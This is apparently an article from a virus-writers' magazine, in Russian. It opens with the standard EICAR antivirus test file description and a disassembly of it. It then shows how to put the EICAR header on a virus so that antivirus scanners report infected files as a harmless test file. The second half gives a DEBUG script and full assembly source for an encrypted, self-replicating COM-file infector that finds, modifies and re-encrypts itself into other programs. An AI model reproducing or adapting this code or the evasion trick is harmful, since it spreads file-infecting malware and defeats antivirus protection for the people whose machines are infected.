─[EICAR-STANDARD-ANTIVIRUS-TEST-FILE!]──────────────────────────────[MONGOOSE]─


   вступление

────[TEST.TXT]───────[START]───────────────────────────────────────────────────
                              EICAR Test File

This  TEST.TXT file  is  helpful in    Данный  файл  (TEST.TXT)  позволит  Вам
testing  the   performance   of the    протестировать работоспособность  анти-
antivirus     programs    detecting    вирусных программ, обнаруживающих виру-
viruses with their signatures  (for    сы по их сигнатурам  (например, антиви- 
example,    Doctor Web,   DSAVmail,    русных программ  Doctor Web,  DSAVmail,
Spider anti-virus programs).           Spider и др.).

For this purpose, most of the anti-    В настоящее время многими разработчика-
virus    designers    at    present    ми антивирусов принято  для  этой  цели
generally make use of the  standard    использовать  одну  и ту же стандартную
TEST.COM program.                      программу TEST.COM.  Эта программа была
The TEST.COM program is _specially_    _специально_ разработана для того, что-
designed  such   that   the   user,    бы  пользователь,  не  подвергая   свой
without  endangering  his  machine,    компьютер  опасности,  мог  посмотреть,
may verify  how  a  newly-installed    как  его  свежеустановленный  антивирус
anti-virus tool will alert the user    будет  сигнализировать в случае обнару-
on detecting a virus.  The TEST.COM    жения вируса. Программа TEST.COM на са-
program,   in  reality,  is  not  a    мом деле вирусом не является,  но опре-
virus,  but it is recognized by the    деляется   большинством    антивирусных
majority  of  anti-virus  utilities    программ  (и  программой Doctor Web,  в
(even Doctor Web)  as if  it  is  a    частности) якобы как  вирус.  При  этом
virus.  Furthermore,  on  detecting    Doctor Web называет этот "вирус" следу-
this "virus", Doctor Web reports       ющим образом:

                      EICAR Test File (Not a Virus!)

Other  anti-virus  utilities   also    Примерно так его называют и другие  ан-
alert along somewhat similar lines.    тивирусные   программы.   Для  справки:
(The  acronym  EICAR   stands   for    EICAR - European Institute for Computer
European   Institute  for  Computer    Anti-Virus Research.
Anti-Virus Research).
                                       Программа  TEST.COM  представляет собой
The TEST.COM program  is  a 68-byte    68-байтный COM-файл, результат исполне-
COM-file,  which on executed prints    ния которого - вывод текстового сообще-
on the screen                          ния:

                    EICAR-STANDARD-ANTIVIRUS-TEST-FILE!

and  then  returns control to  DOS.    с  последующим  возвратом  управления в
The  TEST.COM  file  contains  only    DOS. Файл TEST.COM состоит полностью из
printable   characters    and   the    текстовых  символов  и  соответствующая
corresponding text string reads  as    текстовая строка имеет следующий вид:
follows:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

In  the  file   you  are  presently    Если из читаемого Вами файла (TEST.TXT)
reading now  (i.e.,  TEST.TXT),  if    оставить  лишь вышеприведенную строку и
you  retain only the above line and    таким  образом  отредактированный  файл
delete all other  text  matter  and    сохранить под именем TEST.COM, то в ре-
rename  the  file  thus  edited  to    зультате получится программа, которая и
TEST.COM,  you  obtain  a  program,    будет описанным выше "вирусом".
which   is  the  "virus"  described
above.                                 

  Information Service Department               Информационная служба
       DialogueScience,Inc.                      ЗАО "ДиалогНаука"

                    E-mail: [email protected]
                       http://www.DialogNauka.ru
────[TEST.TXT]───────[EOF]─────────────────────────────────────────────────────

    Можно использовать EICAR файл в качестве заголовка вируса и... ;)

────[EICAR.LST]──────[START]───────────────────────────────────────────────────
0100▐ 58             POP     AX
0101▐ 35 4F 21       XOR     AX,214F
0104▐ 50             PUSH    AX
0105▐ 25 40 41       AND     AX,4140
0108▐ 50             PUSH    AX
0109▐ 5B             POP     BX
010A▐ 34 5C          XOR     AL,5C
010C▐ 50             PUSH    AX
010D▐ 5A             POP     DX
010E▐ 58             POP     AX
010F▐ 35 34 28       XOR     AX,2834
0112▐ 50             PUSH    AX
0113▐ 5E             POP     SI
0114▐ 29 37          SUB     Word ptr [BX],SI
0116▐ 43             INC     BX
0117▐ 43             INC     BX
0118▐ 29 37          SUB     Word ptr [BX],SI
011A▐ 7D 24          JNL     0140
011C▐ 45             INC     BP
011D▐ 49             DEC     CX
011E▐ 43             INC     BX
011F▐ 41             INC     CX
0120▐ 52             PUSH    DX
0121▐ 2D 53 54       SUB     AX,5453
0124▐ 41             INC     CX
0125▐ 4E             DEC     SI
0126▐ 44             INC     SP
0127▐ 41             INC     CX
0128▐ 52             PUSH    DX
0129▐ 44             INC     SP
012A▐ 2D 41 4E       SUB     AX,4E41
012D▐ 54             PUSH    SP
012E▐ 49             DEC     CX
012F▐ 56             PUSH    SI
0130▐ 49             DEC     CX
0131▐ 52             PUSH    DX
0132▐ 55             PUSH    BP
0133▐ 53             PUSH    BX
0134▐ 2D 54 45       SUB     AX,4554
0137▐ 53             PUSH    BX
0138▐ 54             PUSH    SP
0139▐ 2D 46 49       SUB     AX,4946
013C▐ 4C             DEC     SP
013D▐ 45             INC     BP
013E▐ 21 24          AND     Word ptr [SI],SP
0140▐ 48             DEC     AX                     ;┐ зашифрованные инструкции
0141▐ 2B 48 2A       SUB     CX,Word ptr [BX+SI]+2A ;┘ int 21h & int 20h
────[EICAR.LST]──────[EOF]─────────────────────────────────────────────────────

    Надо обязательно учесть что две последние инструкции файла "зашифрованы" и
 файл содержит небольшую проверку на целостность. Для того чтобы все зараженые
 вирусом com-файлы не выводили при старте строку

                      EICAR-STANDARD-ANTIVIRUS-TEST-FILE!

    не нужно изменять заголовок, достаточно использовать проверку файла на це-
 лостность и вместо двух последних зашифрованных [!] байт (инструкция int 20h)
 поставить два зашифрованных (например) нопа (90h,90h)

────[EICAR.ASM]──────[START]───────────────────────────────────────────────────
; modified eicar test file
;
               .model   tiny
               .code
                org     100h

 eicar:
 eicar_header           db 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIR'
                        db 'US-TEST-FILE!$H+';H*'
 crypted_int_1          db 48h,0bh              ; Encrypted INT 1

                mov     ah,9
                mov     dx,offset legalize_cannabis
                int     21h

                int     20h

 legalize_cannabis      db 13,10,'Legalize cannabis!$'

                end    eicar
────[EICAR.ASM]──────[EOF]─────────────────────────────────────────────────────

    авп молчит, реакция веба на файл повергла меня в шок:

────[REPORT.WEB]─────[START]───────────────────────────────────────────────────
[...skip...]
Master Boot Record HDD1 - Ok
Active DOS Boot Sector HDD1 - Ok
EICAR.COM инфицирован модификацией EICAR Test File (NOT a Virus!)
Отчет для диска C:
Проверено : файлов  и  загрузочных   секторов - 3
Обнаружено: вирусов и инфицированных программ - 0
            возможных   модификаций   вирусов - 1
Время сканирования:                      00:00:01
────[REPORT.WEB]─────[EOF]─────────────────────────────────────────────────────

    Если грамотно написать вирус (вирус обязательно должен быть  шифрованым  и
 содержать анти-евристику) то веб будет говорить NOT a Virus! на все зараженые
 файлы. ;-I

────[EICAR.SCR]──────[START]───────────────────────────────────────────────────
N EICAR.COM
E 0100 58 35 4F 21 50 25 40 41 50 5B 34 5C 50 5A 58 35 
E 0110 34 28 50 5E 29 37 43 43 29 37 7D 24 45 49 43 41 
E 0120 52 2D 53 54 41 4E 44 41 52 44 2D 41 4E 54 49 56 
E 0130 49 52 55 53 2D 54 45 53 54 2D 46 49 4C 45 21 24 
E 0140 48 2B 0B 9A BE 50 01 B9 F5 00 80 34 83 46 E2 FA 
E 0150 85 9D 00 BD 95 83 83 F7 68 08 AD AA 81 02 46 C6 
E 0160 81 02 85 C3 82 F8 8A 02 85 C1 82 F8 8A 37 CD A8 
E 0170 4A 39 AD 81 4E A2 F0 80 6A 14 83 AD 22 19 83 BE 
E 0180 C6 82 FC 80 6A 05 83 BE E3 69 FE 80 68 FC 13 3B 
E 0190 81 BE 39 1D 83 4E A2 F0 81 68 5A 10 37 BC 3A C7 
E 01A0 83 08 56 4E A2 12 3D 83 82 08 7E 7F 70 25 F6 80 
E 01B0 68 D4 13 AD 22 19 83 20 AA 81 3B 83 C1 A8 4A 1A 
E 01C0 4E A2 37 BC 3A C6 82 08 56 D2 D1 4E A2 3B 81 C1 
E 01D0 A8 4A 1A 4E A2 37 C3 D9 DA 4E A2 67 C3 21 CF 82 
E 01E0 08 7E 3D 83 82 3A C6 82 7F 70 27 08 76 00 45 D3 
E 01F0 3A 76 83 B3 87 C5 61 78 3B 83 C1 A8 4A 1A 4E A2 
E 0200 37 C3 3A C6 82 08 56 4E A2 37 BD 4E A2 37 CC 6A 
E 0210 E1 7C 08 7E 3D A8 81 26 27 3A C6 82 08 76 A8 72 
E 0220 3C 83 82 7F EB 83 82 7C 66 13 82 70 27 40 A9 AD 
E 0230 E0 EC EE 83 CE CA D0 C7 CA D1 C6 C0 D7 C6 C7 A3 
E 0240 DA CC D6 D7 CB 90 90 90 90 90 90 90 90 90 90 90 
E 0250 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0260 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0270 90 90 8D 97 81 02 CD 21 2B C0 CD 16 B8 00 4C CD 
E 0280 21 54 45 53 54 49 4E 20 31 2C 20 32 2C 20 33 24 
E 0290 CC E8 00 00 5B 81 EB 04 01 B8 00 09 E9 63 01 90 
E 02A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 02B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 02C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 02D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 02E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 02F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0300 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0310 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0320 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0330 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0340 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0350 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0360 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0370 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0380 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 0390 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 03A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 03B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 03C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
E 03D0 90 90 90 90 90 
RCX
02D5
W
Q
────[EICAR.SCR]──────[EOF]─────────────────────────────────────────────────────

────[EICAR.ASM]──────[START]───────────────────────────────────────────────────
               .model   tiny
               .code
                org     100h

 start:
 header                 db 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIR'
                        db 'US-TEST-FILE!$'
 decrypted_bytes        db 48h,2bh,0bh,9ah

 decryptor:     mov     si,offset real_start
                mov     cx,(end_of_code-real_start)
 decrypt_loop:  xor     byte ptr [si],00
                inc     si
                loop    decrypt_loop

 real_start:    push    es ds
                cmp     word ptr ds:[16h],0
                jz      decryptor

                mov     bp,word ptr [end_of_file]
                add     bp,(end_of_code-start)+100h
                add     word ptr [decrypted_bytes],097bh
                add     word ptr [decrypted_bytes+2],097bh

 find_first:    mov     ah,4eh
                sub     cx,cx
                mov     dx,offset file_mask
 find_next:     int     21h
                jnc     check_if_small
                jmp     exit
 
 check_if_small:mov     ax,word ptr cs:[9ah]
                cmp     ax,(end_of_code-start)
                jg      check_if_big
                jmp     search_next

 check_if_big:  cmp     ax,60000
                jnl     open_file
                jmp     search_next

 open_file:     mov     ax,3d02h
                mov     dx,9eh
                int     21h
                jnc     move_handle
                jmp     find_next

 move_handle:   xchg    bx,ax
                mov     ah,3fh
                mov     cx,(decryptor-header)
                mov     dx,bp
                int     21h
                xchg    ax,cx

                mov     si,offset header
                mov     di,bp
                cld
                rep     cmpsb
                jnz     not_infected
                jmp     close_file

 not_infected:  mov     ax,word ptr cs:[9ah]
                mov     word ptr [end_of_file],ax

                mov     ax,4200h
                sub     cx,cx
                cwd
                int     21h

                mov     ah,3fh
                mov     cx,(end_of_code-start)
                mov     dx,bp
                push    cx dx
                int     21h

                mov     ax,4202h
                sub     cx,cx
                cwd
                int     21h

                mov     ah,40h
                pop     dx cx
                int     21h

                in      al,40h

                mov     byte ptr [decrypt_loop+2],al

                mov     di,bp
                mov     si,100h
                mov     cx,(end_of_code-start)
                cld
                rep     movsb

 crypt_code:    mov     si,bp
                add     si,(real_start-start)
                mov     cx,(end_of_code-real_start)
 crypts_loop:   xor     byte ptr [si],al
                inc     si
                loop    crypts_loop

                mov     ax,4200h
                sub     cx,cx
                cwd
                int     21h

                mov     ah,40h
                mov     cx,(end_of_code-start)
                mov     dx,bp
                int     21h

 close_file:    mov     ah,3eh
                int     21h

 search_next:   mov     ah,4fh
                jmp     find_next

 exit:          mov     di,bp
                mov     si,offset commands
                movsw
                movsb

                mov     cx,(end_of_code-start)
                mov     si,bp
                sub     si,cx
                mov     di,100h                
                cld
 push_100h              db 68h,00h,01h
                jmp     bp

 end_of_file            dw offset end_of_code-100h
 commands:      rep     movsb
                ret

 file_mask              db '*.com',0

 misdirected_youth      db 'MISDIRECTED YOUTH'
 end_of_code    label   byte
 original               db 0cdh, 20h
                        db (end_of_code-start)-2 dup (90h)

                end     start
────[EICAR.ASM]──────[EOF]─────────────────────────────────────────────────────

                                     (c) mongoose, soldier of Misdirected Youth